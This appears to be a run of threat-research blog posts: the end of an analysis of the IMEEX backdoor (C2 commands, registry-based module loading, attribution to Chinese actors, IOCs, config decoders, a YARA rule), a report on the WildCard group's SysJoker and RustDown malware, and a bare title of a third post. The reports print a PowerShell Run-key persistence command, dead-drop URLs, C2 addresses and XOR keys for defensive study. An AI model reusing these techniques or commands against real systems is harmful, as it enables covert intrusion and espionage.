The command receives a PID to terminate. The framework elevates its privileges by setting the SeDebugPrivilege, which allows it to debug other processes and access their memory. It then terminates the specified process using the TerminateProcess API call. The operation sends back an ACK with the success code and the ID 0x52.

Remote Code Execution

This operation receives from the C2 a path to an executable on the victim machine. It creates a new hidden process using the specified executable. An ACK packet with the status code of this operation and the ID 11 is sent.

Command Execution

Set a pipe connected to the cmd

This operation creates a pipe connected to cmd.exe with a hidden window. The input is redirected to cmd.exe, and the output is sent to the C2. Essentially, this connects the socket to the pipe and gives the attackers the ability to execute commands. The header for this packet has an ID of 0x101: the 0x10 represents the class ID 16 and 1 is the command ID.

Terminate pipe

When this command is received, the framework terminates the pipe process using TerminateProcess and sends an ACK.

Write to pipe

This command sends input to the pipe connected to cmd.exe. The input data is first processed by retrieving the system’s OEM code page identifier using GetOEMCP and converting it using WideCharToMultiByte. The framework then writes the command line into the pipe, waits for 100 milliseconds, and captures the output. If any output is detected, it sends the content to the C2 in packets with an ID of 0x104. Once all the output is captured, a final packet with ID 0x1044 is sent.

Modules Operation

The framework has extended capabilities for remote code execution of modules, and it uses information that is stored in the Windows Registry to track and execute them.

Write a file and update the Windows Registry

This function receives data from the C2, verifies its integrity, writes it to a temporary file, and adds the file path to the system registry. The framework uses a Windows Registry path that is intended to store the location of the temporary executable.

If the registry path already contains data, the file creation process is skipped, assuming the executable is already present. Otherwise, a new file is created, the name is set by the GetTempFileNameW API function, and the extension is set to.dat. Next, the framework receives from the C2 the content of the file and writes into the file.

After successfully receiving and writing all the data, the function sets the file’s attributes to System (FILE_ATTRIBUTE_SYSTEM) and copies timestamps from kernel32.dll to the file, helping it blend in with legitimate system files. Then, the path to the file is saved in the following Windows Registry path: HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\<num>N.

If any errors occur (such as checksum failures, write errors, or network issues), the function deletes the temporary file and sends an error response to the C2 server.

Delete File Specified in Registry

This function deletes a file based on the registry key it receives from the C2. The operation accesses the registry at the path: HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\<provided_key>, and the subkey “N” that stores paths to files on the machine. It attempts to delete the file and, if unsuccessful, moves it to a temporary location and schedules it for deletion upon the next system restart using MoveFileExW.

Write Values to Registry Keys

This operation writes specific values to the Windows Registry under the keys “A” and “P” within the path HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\<ID>. The function receives the data in a structure named RegistryWriteData. The value of is received from the attacker.

Byte Offset	Field Name	Size (Bytes)	Description
0	RegistryPathID	4	Identifier for the registry path (a number)
4	Reserved	4	Reserved for future use or alignment
8	ValueAData	4	Data for registry key “A”
12	ValuePSize	4	Size of ValuePData
16	ValuePData	ValuePSize	Data for registry key “P”

The function begins by determining whether it should write to the registry key “A”. It checks if ValueAData is equal to -1; if so, it interprets this as a signal to skip writing to key “A”. Otherwise, it attempts to write the provided data to registry key “A”.

Similarly, for the registry key “P”, the function examines ValuePSize. If this value is zero, it determines that writing to key “P” is unnecessary. Otherwise, it attempts to write the data pointed to by ValuePData to the registry key “P”.

The function constructs the full registry path as HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\<ID>, where it writes the data to keys “A” and “P” after encoding the input string using a reversible XOR-based encoding algorithm.

The function allocates memory and encodes the data for the registry keys using a simple, reversible encoding process. Each character of the input string is modified using an XOR operation, starting with an initial seed value of 0xE4. The modified characters are then split into high and low 4-bit nibbles and mapped to ASCII characters starting from ‘A’. The encoded data is stored in an output array, ensuring it does not exceed twice the length of the original input.

Essentially, it the operation creates to WIndows Registry paths:

HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\<ID>\A
HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\P
HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\<ID>\N (Was created by the write function described above)

The framework uses these subkeys to track executed modules, with serving as the module identifier. It’s unclear whether these values follow a specific scheme or are chosen arbitrarily.

Subkey “A” stores execution type information.
Subkey “P” holds configuration or additional parameters.
Subkey “N” contains the module’s file path.

Execute a Module

This operation handles dynamic retrieval and loading of modules, specifically DLL files, from the Windows Registry based on instructions from the C2.

Below is a table that represents the structure of the packet that is being sent to the Module Load operation:

Byte Offset	Size	Field Name	Description
0	12 bytes	N/A	The header of the packet as described in the previous section
12	4 bytes	moduleID	Represents the identifier in the WIndows Registry for the module to be executed.
16	4 bytes	executionType	Specifies the type of execution (2, 3, or other) to determine how the module should be run.
20	4 bytes	numberOfParameters	Number of parameters passed to the module function.
24	4 bytes	params[]	Array of parameters passed to the module function as part of the execution call.

The function first checks if the module, identified by moduleID, is already loaded in memory by traversing a linked list of loaded modules. If found, it returns a pointer to the module’s information, avoiding redundant loading.

If the module is not loaded, the function retrieves the module’s name from the Windows Registry (subkey “N”), allocates memory, and attempts to load the module using LoadLibraryW. It then locates the “Execute” function with GetProcAddress. Once found, the module is added to the linked list for future use. If the function fails at any point, it cleans up by freeing memory and unloading the module, returning an error code.

Once loaded, the function checks the executionType received from the C2, with three possible options:

Load configuration from the Registry and execute (executionType = 2): The function checks if the module is in memory. If not, it loads it again and retrieves additional data from HKEY_LOCAL_MACHINESoftwareMicrosoftIMEEXP, invoking the “Execute” function. If successful, the module’s execution state is updated to prevent re-execution.
Load and execute with predefined values (executionType = 3): Similar to the previous case, it finds the module in memory, executes it with hardcoded arguments, and updates its state post-execution.
Execute with parameters from the C2 (executionType is not 2 or 3): The function directly passes the C2 parameters to the module. If successful, the result is sent back to the C2; otherwise, an error is reported.

This module execution process allows the framework to dynamically load and execute modules from the Windows Registry, ensuring that each module is executed only once while tracking their execution states. Results from successful executions are sent back to the C2, with error handling and cleanup in case of failure.

The framework also has a dedicated process that iterates over the values stored in the subkey “A” (stores the execution type of the module), and if the value is not 0 – it would run the module if it’s not already running.

Retrieve IMEEX framework Windows Registry Values

This operation retrieves numeric subkeys from the malware’s registry location: Software\Microsoft\IMEEX. It gathers the subkeys and their values, transmitting the data over a network socket. If data is cached in memory, it is included in the packet. The stored data, encrypted with XOR, is decoded before transmission and sent to the C2 in chunks.

If no subkeys are found or an error occurs, an empty packet or error code is returned. The function processes all subkeys until transmission is complete, ensuring proper packet structure and network integrity. A final checksum is computed and sent with the remaining data.

Driver Operation

This operation is executed if the command received by the framework does not match any of the specified operations. The framework calls GetLogicalDrives to retrieve a bitmask representing available disk drives and compares it to a stored global variable containing previously retrieved information. If a mismatch is found, the framework calls the Get Driver Information operation, described under File Operations.

Attribution Indicators and The Geopolitics of The Region

Network Pivoting

Our investigation into the IMEEX framework was assisted by Tom Hegel from SentinelOne, who provided valuable information about C2 domains. The analysis reveals a potential connection between several domains and IP addresses, suggesting shared infrastructure with ShadowPad – a privately sold modular malware platform used by at least four clusters of Chinese espionage activity, allowing threat actors to access advanced anti-detection and persistence techniques without developing their own backdoors.

The domain bbsnews.sytes.net is resolved to the IP address 103.151.229.184 from Hong Kong, which is a generally unused address. Further investigation shows that this IP has been linked to several other domains: cha.ylsyzxxwgov.cn, ftp-server.serveftp.com, and it-technology.serveblog.net, indicating a potential relationship between these entities. Notably, prior to using 103.151.229.184, ftp-server.serveftp.com was hosted on the similar IP address 103.151.229.52, which hosted domains linked to ShadowPad activity in 2022, as reported by PT Security (such as point.linkpc.net). Another IP address, 38.60.200.224, also hosted multiple shadowpad-linked domains, including connecter.publicvm.com, previously identified as part of the Shadowpad malware by SentinelOne in 2021, and which was also hosted on 103.151.229.52.

The investigation has uncovered a potential connection between several domains and IP addresses, suggesting shared infrastructure with the use of ShadowPad by multiple Chinese APT groups. However, this does not strongly indicate specific attribution to a particular group, but rather suggests a possible rotation from ShadowPad to another toolset.

IMEEX targeting Djibouti

Djibouti holds significant geopolitical importance due to its strategic location at the crossroads of the Red Sea and the Gulf of Aden, controlling access to one of the world’s busiest maritime routes. This small East African nation hosts military bases from several global powers, including the U.S., France, and Japan, making it a critical hub for military and trade operations. Notably, Djibouti is home to China’s first overseas military base, established in 2017, which has become a central part of China’s Belt and Road Initiative (BRI). This base helps China secure its economic and military interests in the region, particularly along vital shipping lanes connecting the Indian Ocean to Europe via the Suez Canal. China’s involvement in Djibouti extends beyond military interests, with heavy investments in infrastructure like railways, ports, and a free trade zone. These efforts support Djibouti’s “Vision 2035” plan, aimed at becoming a commercial and logistics hub for Africa. However, these investments have also deepened Djibouti’s reliance on Chinese loans, raising concerns about potential debt dependency.

Given Djibouti’s strategic significance to China’s global trade routes and military expansion, it is plausible that China could leverage cyber operations, including potential malware attacks, to safeguard its interests. The country’s proximity to important shipping lanes and the presence of multiple global military powers, including the U.S. and France, make it a critical point for espionage and intelligence gathering. Cyberattacks offer a low-risk, high-reward method for China to monitor adversaries, gather intelligence, and secure its foothold in Djibouti without escalating to open conflict. In this competitive geopolitical environment, malware could be used to disrupt operations that threaten China’s regional strategic goals, aligning with Beijing’s broader approach of blending economic influence and military presence.

IMEEX targeting Afghanistan

China’s interests in Afghanistan are multifaceted, revolving around security, economic influence, and geopolitical strategy. After the U.S. withdrawal and the Taliban’s return to power, China has sought to fill the power vacuum by fostering stronger relations with Afghanistan. Key interests include securing China’s western border, ensuring stability in the region, and safeguarding investments under the Belt and Road Initiative (BRI). The expansion of the China-Pakistan Economic Corridor (CPEC) into Afghanistan is crucial for enhancing regional connectivity and trade, linking China to Central Asia and beyond.

Security is a significant concern for China, especially with regard to extremist groups that could threaten its investments or spill over into its own territories, like Xinjiang. Afghanistan’s instability presents risks to China’s projects and personnel in the region, which may motivate the use of malware as a tool to monitor potential threats, gather intelligence, and protect its strategic interests. Cyber operations could also help China track the activities of other foreign powers or influence local dynamics without direct intervention.

Given the volatile situation and China’s deep economic and strategic interests, the deployment of malware could serve as a low-cost, effective means of advancing China’s goals in Afghanistan.

Analysis of Variants or Related Samples

sha256: 6fcd206752cd87c26909ed3751b94eb8ef14cd1567d3757cae7fa0b89d3f77c7

The malware sample submitted to VirusTotal from Afghanistan features a compilation timestamp of April 4, 2016. This date is more recent than other known variants, which were compiled between 2014 and 2015. Despite the newer timestamp, the Afghan variant has fewer capabilities compared to its predecessors, indicating a reduction in functionality despite the newer compilation date.

Upon execution, the malware creates a mutex with the value:

Global42EC381F

Codebase and Functional Differences

While the core codebase of the Afghan variant remains largely consistent with other versions, there are notable differences in its operational capabilities:

Execution of additional modules: This variant does not support the execution of modules. Specifically, it lacks the functionality to store arguments and information required for the remote execution of modules within the Registry.
Process Management: The malware cannot create or terminate processes. This absence of process manipulation capabilities reduces its ability to execute additional payloads or disrupt system processes, potentially limiting its impact compared to more feature-rich variants.

Configuration Storage

The method of storing configuration data in this variant differs from other versions:

Storage Location: Unlike other variants, this version retrieves configuration values from the read-only (.rdata) section of the binary instead of loading configuration data from the end of the executable.
Data Obfuscation: Each byte of the configuration data is XOR-encoded with the value 0xEC. This simple obfuscation technique serves to conceal the configuration information from straightforward analysis, requiring reverse engineers to decode the data to understand the malware’s settings.

The C2 used by this variant is: bbsnews.sytes[.]net

A script to decode the configuration of this variant is provided in the appendix below.

Overall Assessment

Considering the reduced functionality in execution of modules and process operations, along with the modified method of configuration storage, this variant appears to be a more compact iteration of the IMEEX Framework. The simplifications suggest a focus on specific operational objectives, potentially prioritizing stealth and resource efficiency over comprehensive system control. This makes the Afghan sample a potentially less versatile but more discreet threat compared to its more feature-rich counterparts.

Summary of supported commands by the Afghan variant:

Operation	Commands Id	Sub-Command Id	Command	Extra Parameters
File Operation	3	1	Get Driver Info	–
		2	File/Directory	Discovery File path
		3	Write File	File path
		4	Read File	File path
		6 (No number 5)	Delete folder and content	File path
Remote Process Execution	11	–	Create a Process and run a command	Command to execute
Command Execution Using Windows Pipe	16	1	Set a pipe connected to cmd	–
		2	Terminate Pipe	–
		3	Write to pipe	Content
Driver Operation	–	1	Check if new drivers were added	–

A comparative analysis of the command processing functionalities in the Djibouti and Afghan variants reveals similarities between the two versions. Notably, the absence of the execution of modules is observed in the Afghan variant, underscoring its functional deficiencies compared to the more comprehensive Djibouti implementation.

The function that processes the command in the Djibouti variant.

The function that processes the command in the Afghan variant.

Technical Appendix: Indicators of Compromise

Appendix A: File Names and Process Indicators

Attempts to run as svchost.exe, imaadp.dll or rundll32.exe

Network Infrastructure

Domains:

yurtumawat.wwwhost[.]us
erkinhorshiden.onedumb[.]com
45.141.139[.]146
bbsnews.sytes[.]net

Port

443/TCP

Mutexes

Global\4B59AFCC
Global\42EC381F
Global\3796878E

Registry Keys

Software\Microsoft\IMEEX\<number>
Subkeys: N, A, P

Appendix B: String Decryption Script

Djibouti variant:

import struct
import os
from typing import Union, Tuple
import sys

def decrypt_and_store_in_buffer(file_path: str) -> Union[Tuple[int, str], None]:
 """
 Decrypts data from an executable, validates the decrypted data, and extracts a port and string.

 Args:
 file_path (str): Path to the executable file containing the encrypted data.

 Returns:
 Union[Tuple[int, str], None]: Returns a tuple containing the port and decrypted string,
 or None if decryption fails.
 """
 try:
 # Open the file for reading
 with open(file_path, 'rb') as f:
 # Move the file pointer to 108 bytes before the end
 f.seek(-108, os.SEEK_END)

 # Read 108 bytes of data
 data = f.read(108)

 if len(data) != 108:
 return None # Failed to read the correct amount of data

 # Decrypt the data
 data_buffer = list(data)
 for i in range(107, 0, -1):
 data_buffer[i] ^= data_buffer[i – 1]

 # XOR the first byte with 0xF0 as part of the decryption
 data_buffer[0] ^= 0xF0

 # Pack the first 4 bytes to check for validation
 decrypted_header = struct.unpack_from('<I', bytes(data_buffer))[0]
 if decrypted_header != 0xFEFCFDFB:
 return None # Validation failed

 # Extract the port from the next 4 bytes
 port = struct.unpack_from('<I', bytes(data_buffer), 4)[0]

 # Decrypted string starts at offset 8
 decrypted_string = bytes(data_buffer[8:]).rstrip(b'x00′).decode('latin1')

 # Decrypt the string using XOR with 0xE6
 decrypted_string = "".join(chr(ord(c) ^ 0xE6) for c in decrypted_string)

 return port, decrypted_string

 except Exception as e:
 print(f"Error: {e}")
 return None

def main():
 """
 Main function to handle command-line arguments and execute the decryption.
 """
 if len(sys.argv) != 2:
 print(f"Usage: {sys.argv[0]} <path_to_executable>")
 sys.exit(1)

 file_path = sys.argv[1]

 # Check if file exists
 if not os.path.isfile(file_path):
 print(f"File '{file_path}' does not exist.")
 sys.exit(1)

 result = decrypt_and_store_in_buffer(file_path)

 if result:
 port, decrypted_string = result
 print(f"Port: {port}")
 print(f"Decrypted String: {decrypted_string}")
 else:
 print("Decryption failed or validation failed.")

if __name__ == "__main__":
 main()

Afghan Variant

def decode_hex_string(hex_string):
 # Convert the hex string to a byte array
 byte_array = bytearray.fromhex(hex_string)

 # XOR each byte with 0xEC and decode to string
 decoded_chars = [chr(byte ^ 0xEC) for byte in byte_array]

 # Join the characters to form the decoded string
 decoded_string = "".join(decoded_chars)

 return decoded_string

# The encoded hex value
encoded_value = '8E8E9F82899B9FC29F9598899FC28289'

# Decode the value
decoded_value = decode_hex_string(encoded_value)

# Print the decoded string
print("Decoded Value:", decoded_value)

Appendix C: YARA

import "pe"
rule IMEEX_Framework
{
meta:
desc = "Detect IMEEX Framework"
author = "Intezer"
last_modified = "11-09-2024"
hash = "3e25798da0232d9039e570fb34d4bdccf7f082fa38b486a097d954f5f3debab3"
strings:
/*
The code that loads the string //Global\4B59AFCC
*/
$s1 = {C7????47006C00C7????6F006200C7????61006C00C7????5C00}
/*
The code that loads the string: "Software\Microsoft\IMEEX"
*/
$s2 = {C7????68 53006F00 C7????6C 66007400 C7????70 77006100 C7????74 72006500 C7????78 5C004D00 C7????7C 69006300 C7458072 006F00C7 45847300 6F00C745 88660074 00C7458C 5C004900 C745904D 004500C7 45944500 5800}
$a1 = "server finished" ascii wide
$a2 = "extended master secret" ascii wide
$a3 = "client finished" ascii wide
$a4 = "SRVRCLNT\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
$a5 = "key expansion" ascii wide
$a6 = "SeDebugPrivilege" ascii wide
$a7 = "AES-256-ECB" ascii wide
$a8 = "AES-256-CTR" ascii wide
$a9 = "AES-256-CBC" ascii wide
$a10 = {fb fd fc fe}
condition:
pe.is_dll() and pe.is_64bit() and (all of ($s*) or 80% of ($a*))
}

WildCard: The APT Behind SysJoker Targets Critical Sectors in Israel

Mon, 27 Nov 2023 00:00:00 +0000

Our research team has identified a new APT group, dubbed “WildCard,” initially detected through its use of the SysJoker malware, which targeted Israel’s educational sector in 2021. WildCard has since expanded its reach, creating sophisticated malware variants disguised as legitimate software, and a recently developed malware called ‘RustDown,’ written in Rust for potential operational advantages. Connections to Operation ElectricPowder indicate WildCard’s advanced capabilities with a focus on critical sectors within Israel. While we’ve begun to understand WildCard’s tactics and methods, their precise identity is still enigmatic, demanding deeper analysis and collaboration within the infosec community.

The current war between Israel and Hamas has brought increased interest in a variety of threats targeting Israel. Of course, this includes the usual suspects like Iranian, Hezbollah, and Hamas-affiliated groups that consistently target Israeli organizations and are likely to increase their operational tempo to match the current conflict. We believe the shadow of a previously unidentified threat actor has slipped below the threshold and deserves greater attention. Its first sighting began with our discovery of the SysJoker malware targeting the educational sector in Israel in 2021. Since then, the group behind SysJoker has evolved its tooling and targeting in important ways.

As we continued to track this threat cluster, we found previously undiscovered 2022 variants masquerading as ‘DMAdevice’ and ‘AppMessagingRegistrar’ software, both also written in C++. They share code and behavior patterns with our original discovery of SysJoker for Windows. Then in October 2023, we noticed a new malware written in Rust that shares behavioral traits with SysJoker. The developers refer to the malware as ‘RustDown’. The original version of SysJoker was used to target Windows, macOS, and Linux machines, the migration to Rust might be an attempt to simplify multi-platform targeting in addition to making it harder to analyze.

We’ve also uncovered possible connections with ClearSky’s Operation ElectricPowder. If proven, we see an actor displaying worrying capabilities and intent primarily targeting different critical sectors in Israel. To better describe the threat actor that ties these 3-4 different sets of activity together, we are clustering these sets of activity under the name WildCard. At this time, we can better describe WildCard’s TTPs across multiple operations and variants, but attribution remains elusive.

Timeline of WildCard operations.

Technical Analysis

The Original SysJoker Malware

In January 2022, we published our discovery of SysJoker, an unattributed multi-platform backdoor leveraged against an educational institute in Israel. SysJoker masqueraded as a system update and generated its command-and-control by decoding a string retrieved from a text file hosted on GDrive. This dead drop resolver method is a consistent theme in the WildCard threat actor’s future operations, along with naming their malware after legitimate components. Note that the development of C++ multi-platform backdoors is rare in the Middle East and aroused further suspicion about the nature of the unidentified malware developers.

Previously Undiscovered Variants Appear

After our publication, the WildCard threat actor continued to evolve their malware, re-implementing some of the malware’s behaviors to avoid detection and adding new capabilities. We found three samples of a malware variant written in C++. Two named DMAdevice.exe and one named AppMessagingRegistrar.exe. These variants were compiled five months after our original publication.

Hash	Compilation Timestamp	Filename
e076e9893adb0c6d0c70cd7019a266d5fd02b429c01cfe51329b2318e9239836	19 May 2022 18:07:42	DMAdevice.exe
6c8471e8c37e0a3d608184147f89d81d62f9442541a04d15d9ead0b3e0862d95	19 May 2022 18:05:18	DMAdevice.exe
67ddd2af9a8ca3f92bda17bd990e0f3c4ab1d9bea47333fe31205eede8ecc706	19 Jun 2022 20:20:06	AppMessagingRegistrar.exe

DMAdevice

Using Intezer Analyze we were able to identify code reuse between these samples and the original Windows SysJoker samples.

The structure of the main methods is largely similar, with some differences.

Comparison between SysJoker and the DMAdevice variant.

Besides the shared code, the two DMAdevice variants share a unique string with SysJoker, a custom alphabet:

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghilmnopqrstuvmxyz

Note the missing ‘jk’ from the lowercase portion of the custom alphabet. This is likely a minor slip on the part of the developers but one that has consistently carried over into these newer variants.

Previous versions of SysJoker used GDrive as a dead drop resolver. The retrieved file content is base64 decoded before it is decrypted using a hardcoded RSA key as an XOR key. The decrypted data is the address of the intended C2 server.

The DMAdevice variant implements similar behavior but instead abuses OneDrive as its dead drop resolver. Meaning that the threat actors retained the usage of popular benign publicly-available services, unlikely to be blocked across the network while keeping the ability to rotate the C2 as needed. The use of OneDrive as a dead drop resolver continues into the RustDown variant.

Interestingly, they have decided to remove the use of the RSA key but keep the same scheme, replacing the key with a different string. In this case, after the stack string is built up, the used XOR key is:

QQL8VJUJMABL8H5YNRC9QNEOHA4I3QDAVWP5RY9L0HCGWZ4T7GTYQTCQTHTTN8RV6BMKT3AICZHOFQS8MTT

The XOR string being built on the stack.

The hardcoded User Agent string also changes, as follows:

Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36

AppMessagingRegistrar

This variant was compiled after the DMAdevice version. While it also shares code with SysJoker, this variant implements different capabilities. For example, it uses multiple XOR keys to decode strings. This variant also uses different url paths:

/api/update
/api/register
/api/library
/api/requests

However, similar to the other WildCard malware, it also uses OneDrive as a dead drop resolver. Also similar, AppMessagingRegistrar is downloaded from a server inside a ZIP file and is executed by a DLL file. The DLL file masquerades as Brave Browser.

Metadate of AppMessagingRegistrar executable:

Company: Brave Browser
Product: Brave Browser (4.0.1.5)

RustDown: WildCard learns Rust

In October 2023, we discovered a new malware written in Rust. The sample is a 32-bit Windows executable masquerading as a PHP framework component. While the codebase is new, the malware consistently shares TTPs used by the WildCard threat actor in both SysJoker and its variants. The name of the malware is derived from the developers, as evidenced by a leftover PDB path:

– C:\Code\Rust\Rust\Down-Belal\target\release\deps\RustDown.pdb

RustDown PDB file path.

According to the PDB file the malware developers refer to this component as RustDown. Additionally, the term “Belal” in the folder path may be a transliteration of the common Arabic first name ‘Bilal’. We treat this as a low-confidence indicator towards the identity of one of the WildCard developers.

Hash	Compilation Timestamp	Filename
d4095f8b2fd0e6deb605baa1530c32336298afd026afc0f41030fa43371e3e72	7 Aug 2023 10:43:32	php-cgi.exe

RustDown is intended to look like a legitimate PHP executable named php-cgi. PHP-CGI stands for PHP Common Gateway Interface. Providing an important tool that allows PHP to interact with a web server.

Metadata of RustDown executable:

Company: The PHP Group
Product: PHP (7.4.19)

As the name suggests, RustDown is a backdoor written in Rust and compiled for Windows operating systems. It uses OneDrive as a dead drop resolver.

RustDown implements multiple calls to the Sleep API using randomly chosen time durations, as seen in SysJoker.

Function in RustDown that implements the Sleep functionality.

Next, the backdoor copies the executable to another location and sets up persistence by using a PowerShell command. Both the path and the PowerShell command are obfuscated in an attempt to evade detection. After decrypting the strings, we see that the malware copies itself to the following location, keeping with the theme of the legitimate PHP CGI tool:

C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe

Next, the malware decodes the PowerShell command that sets the registry value for persistence:

"powershell" -Command "$reg=[WMIClass]'ROOT\DEFAULT:StdRegProv';$results=$reg.SetStringValue('&H80000001','Software\Microsoft\Windows\CurrentVersion\Run', 'php-cgi', 'C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe');"

The general mechanism for interacting with the Current User Hive involves using the identifier &H80000001 as described here. However, the specific command string it uses appears to be unique and relates to a separate campaign, referred to as Operation Electric Powder described further below.

Obfuscation

As mentioned, the malware encrypts its own strings in two different ways. The bulk of the remaining unobfuscated strings are artifacts of the static compilation of Rust dependencies linked within the binary:

base64-0.13
curl-0.4.35
rand-0.8.3
rand_chacha-0.3.0
rand_core-0.6.2
rustc-demangle-0.1.21
serde_json-1.0.64
whoami-1.1.1

The first type of obfuscation has the following scheme: first, decode the string with a standard Base64 scheme, unlike the first variant of SysJoker, and then decrypt the result with the following XOR key:

QQL8VJUJMABL8H5YNRC9QNEOHA4I3QDAVWP5RY9L0HCGWZ4T7GTYQTCQTHTTN8RV6BMKT3AICZHOFQS8MTT

The same XOR key was used by the DMAdevice variant of SysJoker.

The malware decrypts additional strings using a XOR cipher, where each string is processed against a distinct key stream. The specific key for each string is determined by using fixed offsets from a table embedded within the malware’s code, combined with a calculation involving hardcoded numerical values and bitwise operations.

Decryption of strings using unique key stream.

Communication With the C2

The communication with the C2 starts with the decoding of a dead drop resolver. This is performed using the first decoding method and the hardcoded XOR key and Base64. The backdoor sends an HTTP Get request to the following resolved URL:

https://onedrive[.]live.com/download?resid=16E2AEE4B7A8BBB1%21112&authkey=!AED7TeCJaC7JNVQ

The backdoor uses a custom user agent. This is similar to the earlier version of SysJoker, which also communicated using a specific, hardcoded user agent:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537

We were able to get a response from the resolver:

KnM5Sjpob2glNTY8AmcaYXt8cAh/fHZ+ZnUNcwdld2Mr

The response is encoded using Base64 and XOR-ed with the same key that was used in the previous step. The decrypted result is the IP address of the C2: {"url":"http://85.31.231[.]49:443″}. During our investigation, we did not find other C2 domains that were served by this OneDrive link.

Next, the malware communicates with the C2 using the HTTP protocol. The URL is formatted in the following way: <C2 domain>/api/<command>. In RustDown, we identified two commands attach and req.

VirusTotal behavior analysis of RustDown showing the connection method to the C2.

Like the original version of Sysjoker, the RustDown will decode the C2 and send the collected user’s information to the C2’s /api/attach path as an initial handshake. The information sent over has the following structure:

"ip":"[Local IP Address]"
"serial":"[Host Name]_[Serial Number]_[Username]"
"name":"[Username]"
"os":"[Operating System Version]"
"user_token":"[User Token]"

This differs from the fields used in SysJoker which included an unused ‘av’ field.

"sn": "[Serial Number]"
"us": "[Username]"
"os": "[Operating System Version]"
"av": *Unused
"ip": "[Local IP Address]"

RustDown will send requests to the C2’s /api/req path after registration, similar to older versions. The response from the C2 is a JSON detailing an array of tasks to perform. These instructions include actions along with specific URLs to download a zip archive containing executables and save it at C:\ProgramData\php-Win32-lib with the filename specified in the JSON. To unzip the payload, RustDown decryptes another PowerShell command.

Connections to Operation ElectricPowder

In the process of our investigation, we found an interesting set of connections between the newer SysJoker variants (particularly the ‘DMA Device’) and components of Operation ElectricPowder. The latter was an attack that targeted the Israeli Electric Corporation (IEC) in 2016-2017. In both cases, the following specific string is deobfuscated during execution and used to establish persistence.

powershell\" -Command \"$reg=[WMIClass]'ROOT\\DEFAULT:StdRegProv';$results=$reg.SetStringValue('&H80000001','Software\\Microsoft\\Windows\\CurrentVersion\\Run', <process>, <path>

The general mechanism to resolve the Current User hive is described here. However, the way the command string is implemented appears to be limited to these malware sets, suggesting a developmental connection across nearly four years.

Additionally, once we discovered RustDown, we found that it also dynamically resolves this PowerShell command string and uses it to achieve persistence. This further strengthens the hypothesis that Operation ElectricPowder may have been the earliest appearance of the WildCard threat actor.

Infection vectors

In our publication of SysJoker, we suspected that the threat actors used an infected npm package to deliver SysJoker. With the discovery of new versions, we see that this pattern of masquerading as legitimate software continues among all of the components of WildCard.

Now with the DMAdevice, AppMessagingRegistrar variant, and Rustdown, we see a pattern of using legitimate services to masquerade the malware. We can assume WildCard uses phishing campaigns to convince victims to download their malware.

As mentioned, part of WildCard’s operations share behavioral patterns with Operation ElectricPowder. This malware also masqueraded as legitimate software and used an elaborate and diverse phishing campaign, including decoy news sites and Facebook profiles.

If the connection between the two operations is solid, it supports WildCard’s investment in extensive social engineering campaigns to reach their targets. The early malware of Operation Electric Powder was poorly disguised as legitimate Microsoft components. SysJoker variants were more elaborately disguised as benign applications or web development components with names reminiscent of TypeScript projects. The newest iteration follows in that web development tool theme by disguising RustDown as a PHP CGI component. At this time, we have not discovered the latest infection vector but feel that these TTPs suggest possible targeting of developer communities in Israel with trojanized applications.

The detection of SysJoker traces back to a 2021 incident at an Israeli educational institution. After analyzing the malware, we identified behavioral patterns akin to those of another malware variant that previously targeted Israeli infrastructure. This similarity points to a deliberate pattern of victim targeting shared between the two types of malware.

Network infrastructure

Another interesting TTP connecting different WildCard operations is the abuse of benign web services as dead drop resolvers or C2 hosting. First-stage components consistently reach out to services like GDrive or OneDrive to receive text that is decoded into the address of the intended C2. The threat actor has used a number of hosting providers to host their C2 infrastructure, most recently Hostinger. During analysis, we found that the C2 is possibly geofenced to respond only to IP addresses from Israel, further supporting our sense of WildCard’s targeting.

Conclusion

As we continue to monitor the threat landscape surrounding the ongoing Israeli-Hamas war, it’s important to emphasize the existence of non-traditional threat actors like WildCard that have slipped below the radar. At the time of our initial discovery of SysJoker, we were missing the necessary components to bring this threat actor into view fully. As additional variants were discovered, we found connections to a notable earlier campaign targeting electric power generation in Israel. More recently, the WildCard developers have undertaken the popular move from C++ to Rust. Despite having to start their project over in Rust, RustDown also shows the same specific traits as newer SysJoker variants and older ElectricPowder components. Clustering these different sets of activities showcases an APT group consistently targeting Israeli critical sectors like education, IT infrastructure, and possibly electric power generation active to this day.

I would like to extend my sincere gratitude to Juan Andres Guerrero-Saade and Ryan Robinson for their contributions to the development and refinement of this blog.

IOCs

Rustdown

d4095f8b2fd0e6deb605baa1530c32336298afd026afc0f41030fa43371e3e72

DMAdevice (SysJoker May 2022 Variant)

e076e9893adb0c6d0c70cd7019a266d5fd02b429c01cfe51329b2318e9239836
6c8471e8c37e0a3d608184147f89d81d62f9442541a04d15d9ead0b3e0862d95

AppMessagingRegistrar (SysJoker June 2022 Variant)

67ddd2af9a8ca3f92bda17bd990e0f3c4ab1d9bea47333fe31205eede8ecc706

SysJoker Downloader

96dc31cf0f9e7e59b4e00627f9c7f7a8cac3b8f4338b27d713b0aaf6abacfe6f

Dead Drop Resolver URL

https://onedrive.live[.]com/download?resid=16E2AEE4B7A8BBB1%21112&authkey=!AED7TeCJaC7JNVQ (RustDown)
https://onedrive.live[.]com/download?cid=F6A7DCE38A4B8570&resid=F6A7DCE38A4B8570%21115&authkey=AKcf8zLcDneJZHw (DMAdevice.exe)
https://onedrive[.]live.com/download?cid=3014636895E3FE3B&resid=3014636895E3FE3B%21106&authkey=AD4OGrVz9h17Jzo (AppMessagingRegistrar.exe)

C2

85.31.231[.]49:443 (Rustdown)
sharing-u-file[.]com (DMAdevice.exe)
audiosound-visual[.]com (AppMessagingRegistrar.exe)filestorage-short[.]org (SysJoker Downloader)

Malware Reverse Engineering – Unraveling the Secrets of Encryption in Malware

Mon, 07 Aug 2023 00:00:00 +0000

